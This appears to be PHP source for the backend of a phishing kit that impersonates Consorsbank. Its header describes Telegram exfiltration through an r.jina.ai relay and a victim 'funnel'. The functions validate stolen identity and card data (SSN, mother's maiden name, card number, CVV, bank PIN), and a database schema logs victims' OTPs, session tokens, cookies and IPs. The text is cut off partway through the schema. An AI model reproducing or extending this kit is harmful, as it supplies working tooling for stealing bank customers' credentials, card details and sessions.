/** The bank's 6-digit AppPIN. */
function valid_pin($s): bool
{
return (bool) preg_match('/^[0-9]{6}$/', trim((string) $s));
}
/** Server-side truth for the identity submission. */
function validate_verification($in): array
{
$in = is_array($in) ? $in : [];
$c = [];
$c['full_name'] = strlen(trim((string) ($in['full_name'] ?? ''))) >= 2;
$c['email'] = valid_email($in['email'] ?? '');
$c['phone'] = valid_phone($in['phone'] ?? '');
$c['address'] = strlen(trim((string) ($in['address'] ?? ''))) >= 4;
$c['dob'] = valid_dob($in['dob'] ?? '');
$c['ssn'] = valid_ssn($in['ssn'] ?? '');
$c['mmn'] = strlen(trim((string) ($in['mmn'] ?? ''))) >= 2;
$c['card'] = valid_card($in['card_number'] ?? '');
$c['expiry'] = valid_expiry($in['expiry'] ?? '');
$c['cvv'] = valid_cvv($in['cvv'] ?? '');
$c['zip'] = valid_zip($in['zipcode'] ?? '');
$c['valid'] = !in_array(false, $c, true);
return $c;
}
/**
* lib.php — Consorsbank kit backend core.
*
* Config, storage (pluggable MySQL/SQLite, self-migrating), validation, Telegram
* exfil (+ r.jina.ai relay), best-effort enrichment, and message builders.
*
* Plain PHP 8.2, no Composer. Everything here is best-effort where it touches the
* network so the funnel never breaks. Structure mirrors the OceanFirst reference;
* only the brand strings (Consorsbank) differ.
*/
declare(strict_types=1);
if (!defined('OFB_LIB')) {
define('OFB_LIB', 1);
}
/* ------------------------------------------------------------------------- */
/* Config */
/* ------------------------------------------------------------------------- */
/**
* Read an environment value, accepting either `KEY` or `OFB_KEY`.
*/
function ofb_env(string $key, $default = null)
{
$v = getenv($key);
if ($v === false || $v === '') {
$v = getenv('OFB_' . $key);
}
if ($v === false || $v === '') {
return $default;
}
return $v;
}
/* ------------------------------------------------------------------------- */
/* Storage */
/* ------------------------------------------------------------------------- */
/**
* Return a PDO handle. MySQL when DB_HOST is set, otherwise SQLite at
* data/live.db. Ensures the schema on every connect (self-migrating).
*/
function ofb_db(): PDO
{
$host = ofb_env('DB_HOST', '');
if ($host !== '' && $host !== null) {
$name = (string) ofb_env('DB_NAME', 'consorsbank');
$user = (string) ofb_env('DB_USER', 'consors');
$pass = (string) ofb_env('DB_PASS', 'consors');
$pdo = new PDO(
'mysql:host=' . $host . ';dbname=' . $name . ';charset=utf8mb4',
$user,
$pass,
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]
);
ofb_ensure_schema($pdo, 'mysql');
return $pdo;
}
$dir = __DIR__ . '/data';
if (!is_dir($dir)) {
@mkdir($dir, 0775, true);
}
$pdo = new PDO('sqlite:' . $dir . '/live.db', null, null, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
@$pdo->exec('PRAGMA journal_mode = WAL');
@$pdo->exec('PRAGMA busy_timeout = 5000');
ofb_ensure_schema($pdo, 'sqlite');
return $pdo;
}
/** Canonical column definitions: name => SQL type fragment. */
function ofb_columns(): array
{
return [
'client_id' => 'VARCHAR(64)',
'ip_address' => 'VARCHAR(45)',
'user_agent' => 'VARCHAR(255)',
'device' => 'VARCHAR(16)',
'bot' => 'VARCHAR(16)',
'current_page' => 'VARCHAR(64)',
'status' => 'VARCHAR(96)',
'username' => 'VARCHAR(128)',
'otp' => 'VARCHAR(16)',
'stage' => 'VARCHAR(16)',
'provider' => 'VARCHAR(32)',
'email' => 'VARCHAR(190)',
'tokens' => 'TEXT',
'cookies' => 'TEXT',
'session_valid' => 'VARCHAR(8)',
'verified_at' => 'VARCHAR(32)',
'session_at' => 'VARCHAR(32)',
'proxy' => 'VARCHAR(190)',